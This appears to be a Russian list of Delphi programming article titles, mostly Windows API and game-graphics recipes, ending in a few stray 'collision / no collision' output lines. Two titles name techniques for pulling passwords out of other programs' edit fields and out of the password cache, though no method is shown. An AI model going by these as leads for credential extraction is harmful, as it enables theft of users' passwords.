- Создание редактора карт в стратегиях типа WarCraft.
- Методы вывода спрайтов.
- Создание Миникарты к Стратегиям.
- Создание кнопок (не спрайтовых) для использования в игре.
- Статья по динамической загрузке спрайтов.
- Система рационального создания спрайтов.
- Обрезание спрайтов.
- DELPHIX - TDXSound. AudioStream, стерео эффекты.
- Текст с эффектами.
- Туториал по DelphiX.
- Видео формат для использования в играх. Со звуком формата WAV (скоро будет MP3).
- Игра отражений.
- Гамма распределение.
- Гауссово размывание (Gaussian Blur) в Delphi.
- Гауссово размывание (Gaussian Blur) в Delphi (продолжение) - Создание тени у метки.
- GDI - графика в Delphi.
- Генетические алгоритмы.
- Генерация звукого сигнала на встроенном динамике.
- Создание уникального ID для новой записи.
- Генерация случайного пароля.
- Как сгенерировать случайный пароль.
- Генератор SQL-запросов Insert, Update.
- Гипергеометрическое распределение.
- Вычисление немецких праздников.
- Узнать существущие имена таблиц БД Access.
- Получить список запущенных приложений, проверить запущена ли программа.
- Определение активного подключения.
- Как узнать, какой язык активен в Windows.
- Ошибка EOLESYS..OPERATION UNAVAILABLE (операция недоступна) при использовании GETACTIVEOLEOBJECT.
- Получаем из реестра количество активных потоков, загруженность процессора и т.д.
- Получить позицию активного окна.
- Определение возраста.
- Получение информации об альясах.
- Отображение всех псевдонимов в ComboBox.
- Получение пути псевдонима и таблицы.
- Получение пути псевдонима и таблицы 2.
- Получение пути псевдонима и таблицы 3.
- Получение пути псевдонима и таблицы 4.
- Получить все возможные разрешения экрана.
- Как получить все Dial-Up соединения.
- Получаем всю информацию о файле.
- Как получить список всех запущенных процессов.
- Получаем заголовок чужого компонента, который под мышью.
- Получить приложение, ассоциированное с указанным расширением файлов.
- Как узнать версию программы.
- Как экстрагировать фрейм из AVI.
- Определение базовой системной информации.
- Как получить дату BIOS.
- Как в Delphi определить дату BIOS.
- Получить дату BIOS.
- Получение серийного номера BIOS.
- Как из Handle битовой картинки, получить адрес битового изображения в памяти.
- Получение значения бита в двойном слове.
- Как выяснить размер BLOB-поля.
- Определить букву CD-ROM.
- Получить информацию о классе.
- Получение ссылки на экземпляр класса.
- Получение информации о классе и об окне.
- Вычисление тактовой частоты процессора.
- Получение параметров командной строки приложения.
- Получить текущую глубину цвета.
- Как узнать размеры TComboBox с показанным выпадающим списком до показа списка.
- Как узнать имя компьютера.
- Определяет наличие СОМ портов.
- Как получить результат работы консольной программы.
- Узнать директорию Cookie.
- Определение количества CPU.
- Получение информации о процессоре.
- Как определить скорость процессора.
- Как определить скорость процессора 2.
- Как определить скорость процессора 3.
- Как определить тип процессора.
- Определение фирмы производителя CPU.
- Узнать текущие время и дату по Гринвичу.
- Как захватить текущий URL из окна Internet Explorer.
- Получить дескриптор текущего курсора.
- Как узнать текущие координаты мышки.
- Получение целого числа часов от начала суток.
- Определение текущего времени, отдельно часы, минуты и секунды.
- Определить SID текущего пользователя.
- Как по имени Базы Данных получить ссылку на компоненет TDataBase.
- Универсальная функция возврата значения элемента даты.
- Как выяснить дату последнего изменения файла.
- Как получить дату и время создания файла в виде TDateTime.
- Как определить день недели.
- Как узнать путь базы данных и её имя.
- Узнать физическое расположение локальной БД по Alias.
- Определение типа базы данных.
- Получение DC элемента управления.
- Как узнать Browser по умолчанию.
- Как узнать путь к браузеру по умолчанию.
- Получить установленный по умолчанию Screen Saver.
- Как во время компиляции модуля определить, под какой версией Delphi она происходит.
- Как получить имя папки рабочего стола (не через registry).
- Как взять Handle рабочего стола для манипуляций с иконками рабочего стола.
- Получение даты создания каталога.
- Вывести все файлы директории.
- Вычисление размера каталога.
- Как подсчитать занимаемое директорией место.
- Определение суммарного размера файлов в папке, включая вложенные.
- Процедура вычисления размера каталога.
- Как определить размер свободного места на диске.
- Получение идентификатора диска.
- Получение информации о диске.
- Получить список дисков.
- Определить тип дискового накопителя.
- Получение списка экспорта dll.
- Как из DLL узнать узнать полный путь к этой DLL.
- Как получить версию моей DLL.
- Как узнать автора файла документа.
- Как получить доменное имя по IP.
- Как узнать имя домена Windows NT или 2000.
- Получить информацию о перечисляемых типах.
- Как получить переменные окружения типа PATH и PROMPT.
- Как получить переменные окружения типа PATH и PROMPT 2.
- Как получить строку сообщения об ошибке Windows код которой получен функцией GetLastError.
- Извлечь основную иконку EXE-файла.
- Получение иконки для зарегистрированного расширения по его имени.
- Получение значений полей из текстового файла.
- Как получить список файлов и поддиректорий в указанной директории.
- Получение системной иконки, ассоциированной с файлом в данной системе.
- Получение файла из сети.
- Загрузить файл по HTTP.
- Получить иконку файла по ярлыку.
- Получаем имена файлов, скопированных в буфер обмена.
- Как прочитать владельца файла.
- Получение размера файла.
- Как определить размер файла.
- Как определить размер файла 2.
- Как определить размер файла 3.
- Получить размер файла.
- Как перед скачиванием узнать размер файла.
- Получение информации о версии файла.
- Определить букву первого CD-ROM.
- Как получить дескриптор текущего окна.
- Получить имена свободных com портов.
- Получение текста из буфера обмена без использования модуля Clipbrd.
- Получение OpenGL расширений.
- Получить доступ в определенной части GUID.
- Как получить хэндлы всех процессов, которые запущены на данный момент в системе.
- Получить Handle и имя класса окна под мышкой.
- Поличение серийного номера IDE диска.
- Получить серийный номер диска.
- Получить серийный номер диска 2.
- Как получить полный исходник HTML.
- Получение иконки из ICO, EXE, DLL.
- Получение иконки из ICO, EXE, DLL 2.
- Получение уникального номера, под которым можно вставить запись в таблицу.
- Получаем ID3Tag v1.
- Как получить закладки IE.
- Извлечение изображения из BLOB-поля.
- Получить картинки из MessageDlg.
- Захват части изображения.
- Получение списка вложенных каталогов.
- Получить тип интернет соединения.
- Как при создании объекта TThread передать ему некоторое значение.
- Взятие интеграла методом Симпсона.
- Получить информацию о целых типах.
- Получение IP-адреса.
- Получение IP-адреса и маски для всех сетевых интерфейсов.
- Определить состояние CapsLock.
- Определить состояние CapsLock 2.
- Определить состояние CapsLock 3.
- Как получить более светлый или более тёмный цвет.
- Получение имени файла из его ярлыка.
- Получение списка DLL загруженных приложением.
- Как получить информацию о локальных настройках системы.
- Получение локального имени компьютера.
- Как узнать адрес LPT-порта.
- Получить MAC адрес.
- Получение значения Memo-поля с помощью Query.
- Получить информацию о методах.
- Смешиваем два цвета.
- Получить список установленных модемов в Win95-98.
- Получить список установленных модемов в Win95-98 2.
- Как определить состояние модема под Win32.
- Получение имени модуля.
- Получение MP3 тэга.
- Получить язык MS Word.
- Определение своего IP адреса.
- Извлечь адреса сетевых карт.
- Получить список доменов.
- Получение имени компьютера в локальной сети по его IP адресу.
- Получение сетевого имени пользователя.
- Автоматическое получение следующего имени файла в каталоге.
- Как получить число и список всех компонентов, расположенных на TNoteBook.
- Как узнать имя домена Windows NT-2000.
- Получить список зарегистрированных под NT пользователей.
- Как получить количество цветов в системной палитре.
- Получение интерфейса объекта из OleVariant.
- Получаем имена ODBC-источников.
- Получение информации о типе и версии операционной системы.
- Получить иконку чужого окна.
- Как определить свой IP адрес.
- Нахождения собственного IP.
- Приём и обработка пакетов переданных методом SendText - с учётом склеенных и полученных неполностью пакетов.
- Получение родительской директории указанной папки.
- Получение родительской формы компонента.
- Как получить определённую часть текста из RichEdit.
- Способ высосать пароли из едитов определенных программ.
- Тянем пароли из кэша.
- Как узнать полный путь и имя файла загруженной DLL.
- Как определить, какие диски находятся на компьютере.
- Получение MAC адреса компьютера.
- Получить имя компьютера по IP.
- Получить Primary Domain Controller (PDC).
- Как узнать платформу.
- Получить родителя пунктов контекстного меню.
- Как получить POST данные.
- Получить статус питания.
- Как узнать драйвер и порт принтера.
- Как узнать минимальные поля для принтера.
- Как найти все форматы бумаги, поддерживаемые принтером.
- Как прочитать список возможностей принтера.
- Как получить разрешение принтера по умолчанию.
- Как получить статус принтера.
- Как получить информацию о заданиях на принтере.
- Получение дополнительных привилегий под НТ.
- Получение количества тактов процессора с момента перезагрузки.
- Получить сведения о процессе.
- Получить количество памяти, занимаемое процессом.
- Получение типа процессора.
- Вывести информацию о возможных значениях свойств.
- Получить список свойств компонента.
- Как прочитать весь список Published методов.
- Как получить список всех published свойств (имена и типы).
- Как получить список всех published свойств (имена и типы) 2.
- Получить многострочные значения из реестра и преобразовать их в TStringList.
- Получить все имена ресурсов, что были загружены данным приложением.
- Как найти корневой каталог.
- Взять RTF-текст из запущенного MS Word без использования буфера обмена.
- Взят RTF отформатированный текст из TRichEdit.
- Получение списка окон, с возможностью указания типа окна.
- Получение списка процессов в Windows 9x и NT.
- Как извлечь Red, Green, Blue составляющие из определённого цвета.
- Как получить ширину ScrollBar.
- Определяем отправителя.
- Как узнать серийный номер аудио CD.
- Получить или установить принтер по умолчанию.
- Как прочитать или установить принтер по умолчанию.
- Получить или установить дату для директории.
столкновение есть
столкновения нет
столкновение есть
столкновения нет
столкновение есть